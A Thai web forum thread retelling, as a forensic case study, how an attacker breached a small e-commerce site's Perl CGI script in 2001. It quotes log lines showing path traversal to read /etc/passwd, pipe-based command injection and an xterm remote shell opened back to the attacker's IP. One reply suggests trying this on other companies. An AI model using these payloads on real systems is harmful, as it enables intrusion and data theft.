Results 1 to 5 of 5

Thread: การแฮก ที่ทำให้บริษัทเสียเงินไปกว่าแสนดอลล่า.....

  1. #1
    Member
    Join Date
    Dec 2006
    Location
    กรุงเทพ
    Posts
    33


    กรณีศึกษานี้ได้รับความรู้มากจากหนังสือคะ อาจจะมีหลายท่านได้อ่านมาและรู้ข่าวมาบ้างแล้ว ยังไงถ้า

    ผิดพลาดแต่อย่างใดก็ขออภัยด้วยนะคะ และกรณีศึกษานี้ใช้ถึง 2 โพส ต้องขออภัย Adim และ mod ด้วยนะคะ

    เหตุผลคือ เน็ตที่กำลังใช้อยู่ช้ามากกกกกกกกกกกกก! ประมาณ 32 Kb นะคะ เขิน! และด้วยความอยากโพสมาก

    อดใจไม่ไหวถ้าทำผิดกฎบอกกล่าวได้นะคะ ขอบคุณมากคะ


    ปล. โค้ดที่ใช้คลิก Thinks ด้านล่างโพสที่สองคะ



    .........................................................................................................



    กรณีศีกษา : บริษัทถูกแฮก!



    วันที่เลวร้ายที่สุดสำหรับเว็บไซต์บริษัทน้องใหม่ที่รับซื้อขายทางอินเตอร์เน็ต ได้เกิดขึ้นเมื่อวันที่ 31 ตุลาคม ปี

    2001 คะ โดยบริษัทนี้ตั้งชื่อเวปไซต์ตนเองว่า www.ชื่อบริษัท.com (นามสมมุติคะ)


    การแฮกโดยอินเทอร์เน็ตเกอร์ได้ขโมยหมายเลขบัตรเครดิตจากฐานข้อมูลออนไลน์และได้โพสต์

    เผยแพร่มันไว้บนยูสเน็ตนิวส์กกรุ๊ป ซึ่งเป็นการกระทำที่รวดเร็วและไร้ความปรานีเป็นอย่างมากคะ


    จากนั้นภายในไม่ถึง 1 ชั่วโมง บริษัทผู้เคราะห์ร้าย ก็ได้สูญเสียเงินกว่าแสนดอลล่าร์ที่ ควรจะได้รับจาก

    การสั่งซื้อสินค้าของลูกค้า เสียทั้งชื่อเสียงและที่สำคัญไปกว่านั้นก็คือความน่าเชื่อถือจากบรรดานักลงทุน ประธาน

    ฝ่ายสารสนเทศของบริษัทถึงกับหัวเสียเป็นอย่างมาก


    เมื่อเกิดข้อผิดพลาดขึ้นกับการออดิตหรือประเมิน ระบบรักษาความปลอดภัยที่เพิ่งจัดทำเสร็จของ

    โปรโตคอล HTTP ที่วิ่งเข้ามาผ่านทางพอร์ตหมายเลย 80 และ 443 (Secure HTTP)


    และต่อไปนี้คะจะเป็นการติดตามการตรวจสอบเหตุการณ์ณ์ของทีมงานผู้เชี่ยวชาญการวิเคราะห์ความ

    เสียหายที่เกิดขึ้นกับระบบคอมพิวเตอร์ โดยอาศัยข้อมูลจากล็อกไฟล์ของเว็บเซิร์ฟเวอร์ คะ


    เริ่มจากการที่ผู้เชี่ยวชาญได้หาสาเหตุ โดยมีข้อมูลดังนี้ คือเวปไซร์ของบริษัทน้องใหม่ ได้ใช้งาน

    Apace 1. 3 .12 บนระบบปฏิบัติการลินุกซ์ โปรแกรมเมอร์ของบริษัทผู้โชคร้าย ใช้งานสคริปต์ Perl CGI เพื่อ

    สร้างเว็บไซร์ดังกล่าว


    ซึ่งการโจมตีมีต้นตอมาจากเรื่อง IP Address เบอร์ 10.0.1.21 เวลา 3.20 AM อันดับแรก ผู้บุกรุก

    เริ่มต้นโดยการเบราซ์เวปไซต์ 5 บรรทัดแรกดังนี้


    ………………………..โค้ดที่ 1 [คลิก Thanks ด้านล่างนะคะ] .......................................................


    ถ้าเรากำลังฉายหนังซ้ำเกี่ยวกับการกระทำของอินเทอร์เน็ตแฮกเกอร์ 5 บรรทัดที่ได้กล่าวมา ทำให้ได้

    แนวคิดว่าผู้เชี่ยวชาญควรจะมองจากมุมมองของอินเทอร์เน็ตแฮกเกอร์จะดีกว่า โดยเริ่มจากสังเกตการณ์ที่ผู้บุกรุก

    คลิกสองสามไฮเปอร์ลิงค์จากเพจหน้าแรก


    ………………………..โค้ดที่ 2 [คลิก Thanks ด้านล่างนะคะ] .......................................................



    ซึ่ง 4 บรรทัดด้านบนจะแสดงให้เห็นถึงสิ่งที่ผู้บุกรุก จะได้เห็นเมื่อเค้าคลิกบนลิงค์ Golden Sunset,

    in oil ของเวปไซร์ผู้โชคร้าย


    จากจุดนี้ ช่างเป็นการยากที่จะชี้ชัดถึงจุดประสงค์ของอินเทอร์เน็ตเกอร์ เพราะพวกเค้าไม่ได้ทำอะไรผิด

    แผงไปจากคนปกติธรรมดา หรือถ้าสันนิฐานไปอีกทาง นั้นอาจจะเป็นเพราะพวกเค้ากำลังคลำๆ ทางและสำรวจ

    ไปเรื่อยๆ เพื่อค้นหาสิ่งที่น่าสนใจก็เป็นได้


    และการบุกรุกขั้นต่อไปก็เริ่มขึ้น เมื่ออินเตอร์เน็กเกอร์ได้พยายามเข้าถึงไดเรกทอรี /cgi – bin/ เพื่อให้

    ได้เห็นสิ่งที่อยู่ภายใยไดเรททอรีนี้


    10.0.1.21 - - [31/Oct/2001:03:41: +0530] “GET / cgi-bin/ HTTP /1.0” 403 272


    โดยโค้ดตอบสนอง (response code) หมายเลข 403 ที่เว็บเซิร์ฟเวอร์ตอบสนองกลับมา แสดงให้เห็น

    ว่าเว็บเซิร์ฟเวอร์ไม่อนุญาตให้เข้าถึงไดเรททอรีดังกล่าวตามที่ผู้บุกรุกขอ


    หนทางนี้ดูจะไม่เป็นผลต่อผู้บุกรุก ทว่าเพียงไม่นานพวกเค้าก็เริ่มดำเนินการใหม่ และครั้งนี้ดูเหมือน

    พวกเค้าจะได้ค้นพบช่องโหว่ช่องแรกเข้าแล้ว


    โดยพวกเค้าได้ฉุดคิดและพิจารณาเกี่ยวกับ URL http://www.ชื่อบริษัท.com/index.cgi สักครู่

    แล้วได้ทดลองส่งการร้องขอ (http request) http://www.ชื่อบริษัท.com/index.cgi?page=index.cgi

    ไปยังเวปเซิร์ฟเวอร์


    สิ่งที่จุดประกายให้พวกเค้าทำการส่ง request ดังกล่าวก็คือ การทดลองเลียนแบบ URL ที่เกิดขึ้นจาก

    การคลิกไฮเปอร์ลิงก์ Golden Sunset, in oil บนโฮมเพจนั้นเอง


    และจากการกระทำดังกล่าวเบราเซอร์ได้แสดงให้เห็นถึงซอร์ซโค้ด ของสคริปต์ index.cgi และพวก

    เค้าเห็นว่าสคริปต์ indix.cgi นั้นรับเอาชื่อไฟล์มาเป็นพารามิเตอร์ และโชว์ให้เห็นถึงเนื้อหาภายในไฟล์นั้นๆ


    พวกเค้าเลือกที่จะใช้ไฟล์ index.cgi นั่นแหละเป็นพารามิเตอร์ เพราะต้องการเห็นเนื้อหาภายในไฟล์

    index.cgi และพวกเค้าก็ได้เห็นช่องโหว่เพิ่มเติมจากการสำรวจซอร์ซโค้ดภายใน index.cgi อย่างละเอียดดังนี้


    ………………………..โค้ดที่ 3 [คลิก Thanks ด้านล่างนะคะ] .......................................................


    **Hidden Content: To see this hidden content your post count must be 5 or greater.**


  2. #2
    Member
    Join Date
    Dec 2006
    Location
    กรุงเทพ
    Posts
    33



    จุดที่เป็นช่องโหว่ก็คือ การขาดการตรวจสอบความถูกต้องและเหมาะสมของพารามิเตอร์ ที่ถูกส่งผ่าน

    เข้ามายังสคริปต์ index.cgi ชื่อไฟล์ที่ถูกส่งผ่านเข้ามาเป็นพารามิเตอร์ จาก URL จะถูกดักจับและเก็บไว้ในตัว

    แปร ที่บรรทัดที่ 08 และถูกนำไปต่อท้ายชื่อพาธ “/usr/local/apache/htdocs” ที่บรทัดที่ 15

    และในที่สุดไฟล์นั้นจะถูกเปิดด้วยโค้ดในบรรทัดที่ 16



    หนึ่งในสิ่งแรกๆ ที่พวกเค้าค้นพบหลังจากได้เห็นว่าโค้ดของโปรแกรมหละหลวมขาดการตรวจสอบ

    อินพุตก็คือ เข้าสามารถฉวยโอกาสจากช่องโหว่ดังกล่าวเพื่อเรียกดูไฟล์ใดๆ ก็ได้บนเวบเซิร์ฟเวอร์ และพวกเค้าก็

    กระทำกันได้อย่างแม่นยำด้วย


    10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] “GET / indix.cge?page=/../../../../../../../../../etc/passwd

    HTTP /1.0” 200 723


    พวเค้าใช้เวปเซิร์ฟเวอร์เพื่อส่งการร้องขอ http://www.ชื่อ

    บริษัท.com/index.cgi?page=/../../../../../../../../../etc/passwd


    เนื้อหาภายในไฟล์ /etc/passwd ทั้งหมดจะถูกส่งกลับมาและได้โชว์ให้เห็ฯในหน้าจอเบราเซอร์

    แต่การพยายามเจาะระบบไม่ได้หยุดอยู่เพียงนี้ ช่องโหว่ที่สองจะถูกซ่อนอยู่ในช่องโหว่แรกที่เข่าเพิ่ง

    ค้นพบไป ด้วยความรู้เพียงเล็กน้อยที่เกี่ยวกับยูนิกซ์ และ Perl อันเทอร์เน็ตเกอร์ สามารถเอ็กซีคิวต์คำสั่งใดๆ ก็ได้

    บนเว็บเซิร์ฟเวอร์ และพวกเค้าได้พิสูจน์ให้เห็นแล้วว่ามันสามารถเกิดขึ้นได้ด้วยการร้องขอ


    10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] “GET / index.cgi?page=| ls+-la+/%0aid%0awhich+xterm|

    HTTP /1.0” 200 1228


    10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] “GET / indix.cge?page=|xterm+-display+10.0.1.21:0.0+%26|

    HTTP /1.0” 200


    แทนที่พวกเค้าจะพยายามเปิดไฟล์ ใดๆ ที่มีอยู่ พวกเค้ากลับระบุตัวอักขระ | ลงไปในพารามิเตอร์ แล้ว

    ตามด้วยคำสั่งที่ต้องการ


    ฉะนั้นแทนที่ไฟล์ จะถูกเปิดขึ้นมา Perl กลับเปิดไฟล์ แฮนเดิล ซึ่งทำหน้าที่รับเอาเอาต์พุตมาตรฐานที่

    ถูกส่งมาจากคำสั่ง (Command) ที่ระบุไว้ในพารามิเตอร์ชื่อไฟล์


    และจากผลการร้องขอ 2 บรรทัดด้านบนเราจะมาพิจารณากัน เริ่มจากบรรทัดแรก จะได้ผลลัพท์

    เทียบเท่ากับการส่งคำสั่งต่อไปให้กับเวปเซิร์ฟเวอร์


    ร้องขอ


    http://www.ชื่อบริษัท.com/ index.cgi?page=| ls+-la+/%0aid%

    0awhich+xterm|




    ผลลัพธ์

    ls-la/
    Id
    Which xterm



    และนี่คือสิ่งที่ปรากฏบนเบราเซอร์ของพวกเค้า

    Bash$ id
    Uid=99(nobody) gid=99(nobody) groups=99(nobody)
    Bash$ pwd
    /usr/local/apache/htdocs
    Bash$



    ให้สังเกตตัวอักขระ | ที่อยู่รอบๆ พารามิเตอร์ “page=” คำสั่งจะถูกแบ่งกั้นด้วยตัวอักขระฐานสิบหก

    “0A” ซึ่งคือ ตัวอักขระเลื่อนบรรทัดใหม่ (line feed)


    สิ่งที่ปรากฏให้เห็นคือลิสต์รายชื่อไฟล์บนรูตไดเรกทอรีของเว็บเซิร์ฟเวอร์ด้วยคำสั่ง “ls-la/” และให้

    เห็นถึง user id ของโปรเซสที่ทำหน้าที่รัน index.cgi ด้วยคำสั่ง “id” และให้เห็นถึงพาธ ที่เก็บโปรแกรม

    xterm คำสั่ง “which xterm” ขณะนี้พวกเค้าสามารถรันคำสั่งใดๆ ยนเว็บเซิร์ฟเวอร์ได้ด้วยสิทธิของแอท

    เค้านต์ “nobody” ถัดจากการส่งคำสั่งทีละคำสั่งผ่านเบราเซอร์ พวกเค้าตัดสินใจใช้ xtrem เพื่อให้ได้มาซึ่ง

    เซล์ลแบบโต้ตอบ จากเว็บเซิร์ฟเวอร์


    บรรทัดสุดท้ายจากผลลัพท์ด้านบน บ่งชี้ให้เห็นถึงความพยายามของพวกเค้าในการส่งคอนเน็กชันอัน

    เป็นผลลัพธ์ที่ได้จาก xterm กลับมายังเครื่องของตน ด้วยการใช้ URL reques ต่อไปนี้



    http://www.ชื่อบริษัท.com/ index.cgi?page=|xterm+-

    display+10.0.1.21:0.0+%26|



    คำสั่งภายใน URL นั้นถูกตีความได้เป็นคำสั่ง “xterm – display 10.0.1.21:0.0 &” คำสั่ง

    xterm จะถูกรันเพื่อส่งวินโดวส์ของ xtrem กลับมายังเครื่องของพวกเค้าซึ่งมี IP Address เป็นเบอร์

    10.0.1.21



    และในขณะนี้พวกเค้าก็ได้รับเซล์ลแบบโต้ตอบ อย่างสมบูรณ์เพื่อการเข้าถึงเว็บเซร์ฟเวอร์ ของบริษัท

    แล้ว และหลักฐานในล็อกไฟล์ได้สิ้นสุดเพียงเท่านี้



    จากที่ได้อ่านกรณีศึกษามานะคะ ทำให้เราได้รู้ถึงสัจธรรม ว่า ถึงจะมีการประเมินระบบรักษาความ

    ปลอดภัยดีเยี่ยมขนาดไหน แฮกเกอร์ก็ยังสามารถเข้าถึงเว็บเซิร์ฟเวอร์ได้พวกแค่ช่องโหว่เล็กๆ ที่ผู้คนมองข้ามมัน

    ไป



    ขอบคุณสำหรับการเข้าอ่านคะ หวังว่าจะเป็นประโยชน์ต่อผู้อ่านบ้างนะคะ

  3. #3


    จากที่ได้อ่าน ดูต้องบอกเลยคับว่า เป็นความผิดพลาดอย่างรุนแรงของ Programmer และ system Admin ของบริษัทนี้

    ด้วยการเขียน Coding ของ Programmer แล้วไม่มีการเช็คค่า Input ที่เกิดขึ้นเลย น่าจะเป็น มือใหม่ มากๆ

    ส่วน System Admin ก็ประมาทให้ user อื่นๆ สามารถเข้าถึง /etc/passwd ได้ง่ายเกินไป


    เศร้าเลย >_<



    ขอบคุณมากครับ สำหรับเนื้อหาสาระดีๆ แบบนี้ ไม่ทราบว่าอันนี้แปลมาจากเว็บไหนหรอคับ หรือว่าประสบการณ์ จริงอะคับ ฮ่า
    ร้กน้อยๆ แต่รักนานๆ นะจ้ะ ......... mod ที่รัก..:)
    [img]http://www.phd.ru.ac.th/images/ipod_icon.gif[/img]

  4. #4
    Junior Member
    Join Date
    Jul 2006
    Location
    อุดรธานี
    Posts
    0


    ฟังจากรูปการ www.บริษัท.com นั้นคงมี ระบบปฏิบัติการเป็น Linux แต่คงไม่ได้ติดตั้ง pacth ป้องกันไว้
    สังเกตุได้ จาก
    ผลลัพธ์

    ls-la/
    Id
    Which xterm[/b]
    เป็นลักษณะคำสั่งใช้ใน Linux หรือ Unix ทั่วไป บน shell promt ผมคิดว่า บริษัทพวกนี้ยังมีอีกเยอะงับ ลองดูจิ

    **Hidden Content: To see this hidden content your post count must be 15 or greater.**

  5. #5
    Junior Member
    Join Date
    Oct 2006
    Posts
    9


    กลายเป็นความผิดพลาดที่ร้ายแรงที่สุด
    หากเป็นเช่นนี้แล้ว ภาระเรื่อง Payment Gateway, Payment Method ต่างๆ
    น่าจะย้ายไปให้ สถาบันการเงิน เป็นผู้ดำเนินการมากกว่าไหมครับ

    มันร้ายแรงเกิดกว่าที่ผู้ประกอบการจะรับผิดชอบได้จริงๆ

    ล่าสุด มีข่าวมาอัพเดททุกท่านนะครับ
    ช่วง 2 ปีที่ผ่านมา ทาง SCB หรือ ธนาคารไทยพาณิชย์ ก็ได้มีหน่วยงานที่ รองรับ SME และ ผู้ประกอบการที่จะดำเนินธุรกิจ และต้องการมีการจ่ายเงินผ่านระบบออนไลน์ ทาง Bank ทำระบบให้กับลูกค้า
    โดย Database ของบัตรเครดิต จะไม่ได้เก็บในระบบของลูกค้า
    เพราะขั้นตอนการจ่ายเงิน จะวิ่งไปที่เว็บของทางธนาคารโดยตรงเลยครับ

    น่าเสียใจที่...
    ล่าสุดเมื่อเดือน 11 ผมได้คุยกับทางแบงค์เพื่อขอใช้บริการดังกล่าว... ทางแบงค์แจ้งว่า ระงับ การให้บริการไปแล้ว

    สาเหตุ. เรื่อง แฮก และ ความเสียหาย ความเสี่ยง ที่มากเกินกว่า แบงค์จะให้บริการด้านนี้อีกต่อไป

Similar Threads

  1. Replies: 0
    Last Post: 10-02-2008, 05:47 AM
  2. การแฮก nuke โดย โมดูล search
    By Neverdie_bo in forum Hacking, Exploit Articles/Tutorial/Techniques
    Replies: 0
    Last Post: 24-10-2007, 02:07 AM
  3. Replies: 6
    Last Post: 19-09-2007, 10:42 PM

Members who have read this thread : 0

Actions : (View-Readers)

There are no names to display.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •